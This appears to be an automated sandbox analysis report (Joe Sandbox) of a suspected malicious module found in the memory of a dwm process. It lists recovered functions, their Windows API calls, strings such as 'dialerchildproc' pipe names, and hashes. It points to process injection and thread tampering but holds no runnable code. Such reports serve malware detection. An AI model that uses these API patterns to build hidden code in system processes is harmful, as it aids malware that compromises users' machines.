FlsSetValue.KERNEL32(?,?,?,000001160CAA0A6B,?,?,?,000001160CAA045C,?,?,?,000001160CA9C84F), ref: 000001160CA9CEBC
SetLastError.KERNEL32 ref: 000001160CA9CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001160CAA0A6B,?,?,?,000001160CAA045C,?,?,?,000001160CA9C84F), ref: 000001160CA9CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001160CA9ECCC,?,?,?,?,000001160CA9BF9F,?,?,?,?,?,000001160CA97AB0), ref: 000001160CA9CF2C

Part of subcall function 000001160CA9D6CC: HeapAlloc.KERNEL32 ref: 000001160CA9D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001160CAA0A6B,?,?,?,000001160CAA045C,?,?,?,000001160CA9C84F), ref: 000001160CA9CF54

Part of subcall function 000001160CA9D744: HeapFree.KERNEL32 ref: 000001160CA9D75A
Part of subcall function 000001160CA9D744: GetLastError.KERNEL32 ref: 000001160CA9D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001160CAA0A6B,?,?,?,000001160CAA045C,?,?,?,000001160CA9C84F), ref: 000001160CA9CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001160CAA0A6B,?,?,?,000001160CAA045C,?,?,?,000001160CA9C84F), ref: 000001160CA9CF76

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: e3b464467abdfc7ef8d6bea1e9688bc0b2781f6fd73f9701bdfe4f8e4c242dd3
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: D2414F30201B8446FA6CA77559573F92292DB8C7B8F6807A4BF37466EFDE2B94C19600

Function 000001160CA92244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001160CA92259
GetCurrentProcessId.KERNEL32 ref: 000001160CA92263

Part of subcall function 000001160CA91934: OpenProcess.KERNEL32 ref: 000001160CA91952
Part of subcall function 000001160CA91934: IsWow64Process.KERNEL32 ref: 000001160CA91968
Part of subcall function 000001160CA91934: CloseHandle.KERNEL32 ref: 000001160CA91983

CreateFileW.KERNEL32 ref: 000001160CA922BC
WriteFile.KERNEL32 ref: 000001160CA922E4
ReadFile.KERNEL32 ref: 000001160CA92303
CloseHandle.KERNEL32 ref: 000001160CA9230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001160CA92293
\\.\pipe\dialerchildproc64, xrefs: 000001160CA9228C

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: e292498a95fe2d6169a81c521cacf55811437730a08cb21fdc389e806cb806c0
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: A4213876614B4092FB188B26E4483DA67A0F789BA4F544255FF9903BA8CF7EC189CF00

Function 000001160CA69944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001160CA699A1

Part of subcall function 000001160CA6A814: __GetUnwindTryBlock.LIBCMT ref: 000001160CA6A857
Part of subcall function 000001160CA6A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001160CA6A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001160CA69A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001160CA69CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001160CA69DDA

Strings

csm, xrefs: 000001160CA69A22
csm, xrefs: 000001160CA699BB
csm, xrefs: 000001160CA69A9C

Memory Dump Source

Source File: 00000021.00000002.3636838436.000001160CA60000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca60000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 2ba54f05254bae68ad0188527a48383a5b7b71df85ea8c7c10141abdec57d0dc
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 61E16872604B848AEB689F79D4803DE77A4F799B98F100155FF8957B9ACB3AC4D1C700

Function 000001160CA9A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001160CA9A5A1

Part of subcall function 000001160CA9B414: __GetUnwindTryBlock.LIBCMT ref: 000001160CA9B457
Part of subcall function 000001160CA9B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001160CA9B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001160CA9A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001160CA9A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001160CA9A9DA

Strings

csm, xrefs: 000001160CA9A622
csm, xrefs: 000001160CA9A5BB
csm, xrefs: 000001160CA9A69C

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 14005bb12589e4233e0fab4aea04c1dde444902fadaf24d390ce92b9d7b9fed6
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: E9E17B72604B808AEB68DF65D4823DE77A4F789B98F10415AFF8957B99CB36C8C1D700

Function 000001160CA9F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001160CA9F510
GetProcAddress.KERNEL32 ref: 000001160CA9F51C

Strings

api-ms-, xrefs: 000001160CA9F45A
ext-ms-, xrefs: 000001160CA9F46D

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 6d612d87b4898bdc89ac83feab02f6d21f42468f4b4b05212a1517f44b61b3e5
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: F141A132311B1095EA1ACB96AC057DA2391F78DBE4F194169BF1A8B78DEF3BC4C58304

Function 000001160CA9104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001160CA910B1
RegEnumValueW.ADVAPI32 ref: 000001160CA91117
GetProcessHeap.KERNEL32 ref: 000001160CA9115A
HeapAlloc.KERNEL32 ref: 000001160CA91168
GetProcessHeap.KERNEL32 ref: 000001160CA91185
HeapFree.KERNEL32 ref: 000001160CA91193

Strings

d, xrefs: 000001160CA910D6

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 55615972326a040fe958770e01c28fbe459630cefd03aa3737035648c05c42c9
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 1B412772214B849AE764CF21E4457DEB7A1F388B98F548129EF8907B5CDF3AC589CB40

Function 000001160CA9D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001160CA9C7DE,?,?,?,?,?,?,?,?,000001160CA9CF9D,?,?,00000001), ref: 000001160CA9D087
FlsSetValue.KERNEL32(?,?,?,000001160CA9C7DE,?,?,?,?,?,?,?,?,000001160CA9CF9D,?,?,00000001), ref: 000001160CA9D0A6
FlsSetValue.KERNEL32(?,?,?,000001160CA9C7DE,?,?,?,?,?,?,?,?,000001160CA9CF9D,?,?,00000001), ref: 000001160CA9D0CE
FlsSetValue.KERNEL32(?,?,?,000001160CA9C7DE,?,?,?,?,?,?,?,?,000001160CA9CF9D,?,?,00000001), ref: 000001160CA9D0DF
FlsSetValue.KERNEL32(?,?,?,000001160CA9C7DE,?,?,?,?,?,?,?,?,000001160CA9CF9D,?,?,00000001), ref: 000001160CA9D0F0

Strings

Y%, xrefs: 000001160CA9D0A6
1%, xrefs: 000001160CA9D0CE

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 82fc957d5346222e1d733658fed4bc6a6dfa0a37baf299815241692ebbc59f18
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 80115E31B0438441FA6CA76699533F96191DB4C7F4F6843A4BF3A476EEDE2BC4C28200

Function 000001160CA97510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001160CA97538
__scrt_acquire_startup_lock.LIBCMT ref: 000001160CA9758A
_RTC_Initialize.LIBCMT ref: 000001160CA975B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001160CA975DE
__scrt_release_startup_lock.LIBCMT ref: 000001160CA97609

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 540267570425d117f090ef837b9397d276ab399d3c722144de76e861c80034be
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 7681B33162034586FB5CAB2994533E966D0E78D780F1884A5FF05C77AEEB3BC8C58760

Function 000001160CA99DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001160CA99E49
GetLastError.KERNEL32 ref: 000001160CA99E57
LoadLibraryExW.KERNEL32 ref: 000001160CA99E81
FreeLibrary.KERNEL32 ref: 000001160CA99EC7
GetProcAddress.KERNEL32 ref: 000001160CA99ED3

Strings

api-ms-, xrefs: 000001160CA99E69

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: abd6868f5bfbe0cdca063c48252deb3187f6717ad07a76f5073b55de43ee900f
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: FA31A531312B40E1EE19DB52A4017D622A4F74CBA0F594569BF2E4B798EF3BC4C58710

Function 000001160CAA3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001160CAA3DE5
GetLastError.KERNEL32 ref: 000001160CAA3DF1
CloseHandle.KERNEL32 ref: 000001160CAA3E09
CreateFileW.KERNEL32 ref: 000001160CAA3E34
WriteConsoleW.KERNEL32 ref: 000001160CAA3E53

Strings

CONOUT$, xrefs: 000001160CAA3E15

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 194822f1954037b5d9a6c61264fd086dd7fbb3fa8fd752f0d2df09d7710aee99
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 42115E31310B8486E7548B52E85439966A0F7CCFE4F084265FF6A877A9CB79C8948740

Function 000001160CA92F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA92F27
HeapAlloc.KERNEL32 ref: 000001160CA92F3A
StrCmpNIW.SHLWAPI ref: 000001160CA92FAF
GetProcessHeap.KERNEL32 ref: 000001160CA93015
HeapFree.KERNEL32 ref: 000001160CA93023

Strings

dialer, xrefs: 000001160CA92FA8

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 8d930a18327bd9a43db0732196638a892477d7c75c33e7a73febb97ecd77854c
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 6531BE32701B5592EA18DF16E5417EAA7A0FB8CB80F084164BF4947B69EF3BC4E1C700

Function 000001160CA9CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001160CA9CFAF
FlsSetValue.KERNEL32(?,?,?,000001160CA9D6B5,?,?,?,?,000001160CA9D778), ref: 000001160CA9CFE5
FlsSetValue.KERNEL32(?,?,?,000001160CA9D6B5,?,?,?,?,000001160CA9D778), ref: 000001160CA9D012
FlsSetValue.KERNEL32(?,?,?,000001160CA9D6B5,?,?,?,?,000001160CA9D778), ref: 000001160CA9D023
FlsSetValue.KERNEL32(?,?,?,000001160CA9D6B5,?,?,?,?,000001160CA9D778), ref: 000001160CA9D034
SetLastError.KERNEL32 ref: 000001160CA9D04F

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: f3929fcf0600c5a1ca1a21302142746d93eb7e4b9b979ca0762c13e2c0d35c91
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 44115C3060078441FA6CA76659563ED6242EB8C7B4F1447A4BF36476DEDE2B84C19600

Function 000001160CA9199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001160CA919C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001160CA919E0
PathFindFileNameW.SHLWAPI ref: 000001160CA919EF
lstrlenW.KERNEL32 ref: 000001160CA919FB
StrCpyW.SHLWAPI ref: 000001160CA91A0E
CloseHandle.KERNEL32 ref: 000001160CA91A1C

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: af01c00919951e4fbbd7663ca6f7e098beb117bb7106cd0c2b33be6e098df128
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 18011B31300B4582EA58DB52A4987D9A7A5F78CBC4F484075EF5943B59DF3EC989CB40

Function 000001160CA936C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001160CA936E4
GetCurrentProcess.KERNEL32 ref: 000001160CA936F2
VirtualProtectEx.KERNEL32 ref: 000001160CA93714
GetCurrentProcess.KERNEL32 ref: 000001160CA93732
VirtualProtectEx.KERNEL32 ref: 000001160CA93753
TerminateThread.KERNEL32 ref: 000001160CA93762

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 1e9d5fc236bac10df63775cbcddacc04a63121178a321233b282703aa10e5bdd
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: B9012175612B4486EF689B12E8093D663B0FB8DB86F084565EF5907769EF3FC1848B00

Function 000001160CA98FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CA99013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001160CA990A8
RtlUnwindEx.NTDLL ref: 000001160CA990F7

Strings

f, xrefs: 000001160CA99026
csm, xrefs: 000001160CA9908E

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 35d689d22f090c3dde1fad3251640d982615881078171429b9f1c48e062cb2a4
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: B4518F32601700A6EB98DB25E849BDA77A5F348B88F6485A8FF5A4774CDB77C981C700

Function 000001160CA91A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001160CA91A60
StrCmpNIW.SHLWAPI ref: 000001160CA91A7A
lstrlenW.KERNEL32 ref: 000001160CA91A89
StrCpyW.SHLWAPI ref: 000001160CA91A9E

Strings

\\?\, xrefs: 000001160CA91A6E

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: b58e77a80eaaa95910238168c7a419b7113e6963dbcbf8b67ec3c52b926b8937
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 37F03C7270474592EB648B21E8847D9A761F79CB88F888064EF4946958DB6ECACDCB00

Function 000001160CA93044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001160CA93066
StrCpyW.SHLWAPI ref: 000001160CA93076
StrCatW.SHLWAPI ref: 000001160CA93082
PathCombineW.SHLWAPI ref: 000001160CA93090

Strings

\\.\pipe\, xrefs: 000001160CA9305C

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: dde38f65cca395521febae0b5df3043054826c15fd09759d878c00cf1238a4cd
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 54F0F874614B8492EA588B63B9141D9A661EB8CFD0F4891A0FF5A47B2CDF6AC4868B10

Function 000001160CA9BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001160CA9BCBD
GetProcAddress.KERNEL32 ref: 000001160CA9BCD3
FreeLibrary.KERNEL32 ref: 000001160CA9BCFA

Strings

CorExitProcess, xrefs: 000001160CA9BCCC
mscoree.dll, xrefs: 000001160CA9BCB4

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 625c34ad1d7cf0a05bbf71c611f06e69492c84afc3cb2e125c054c7af4b1497c
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 92F06271311B0482EB288B25F4453EA6320EBCDB65F580299FF6A451F8CF2FC4C98750

Function 000001160CA95710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001160CA95726

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d3b9a58ef7fdfc98620847497ecba833532ef1df5abfce1ac3323b88e95c3dec
Instruction ID: fdf1e7fe464b55f4c89c1eb8caaf6106e02504877a2f508e39f4bbd05f754d10
Opcode Fuzzy Hash: d3b9a58ef7fdfc98620847497ecba833532ef1df5abfce1ac3323b88e95c3dec
Instruction Fuzzy Hash: DB61E536919B44C6E769CB15E45639AB7A0F388784F104259FF8E87BA8DB7EC590CF00

Function 000001160CA73504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001160CA7352C
_set_statfp.LIBCMT ref: 000001160CA73547
_set_statfp.LIBCMT ref: 000001160CA73563
_set_statfp.LIBCMT ref: 000001160CA7359F

Memory Dump Source

Source File: 00000021.00000002.3636838436.000001160CA60000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca60000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 1f383b02d939094608eb33960f8cf0d760969291277e52a0ff1aeef425a1149e
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 0911A333A52B1119FE6C1528EC513F912917B5C374F4B87B8BF66062FECA66C8C57200

Function 000001160CAA4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001160CAA412C
_set_statfp.LIBCMT ref: 000001160CAA4147
_set_statfp.LIBCMT ref: 000001160CAA4163
_set_statfp.LIBCMT ref: 000001160CAA419F

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 234e253313b7caa99f7852d6a1ee282cefa2001cf85899d640efb4dc8f98a28c
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 67118632A10F5151F66C1568E4553F551816BFC3B8F582AB4BF76076DECBE6C8C16300

Function 000001160CA6F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001160CA6F124

Strings

or copy constructor iterator', xrefs: 000001160CA6F25A, 000001160CA6F275
Wednesday, xrefs: 000001160CA6F1ED
Tuesday, xrefs: 000001160CA6F0F4

Memory Dump Source

Source File: 00000021.00000002.3636838436.000001160CA60000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca60000_dwm.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 40ce274906cf45444f6acfa71e6c77bcdfd3c2569db1d0924d81cc190aa8b7ad
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 2861AF72600B408AFA6D9BACFD443EA67A1F78D784F514595FF4A077ACDA36C8C68700

Function 000001160CA9AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001160CA9AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001160CA9AAB7

Strings

RCC, xrefs: 000001160CA9AA85
MOC, xrefs: 000001160CA9AA7C

Memory Dump Source

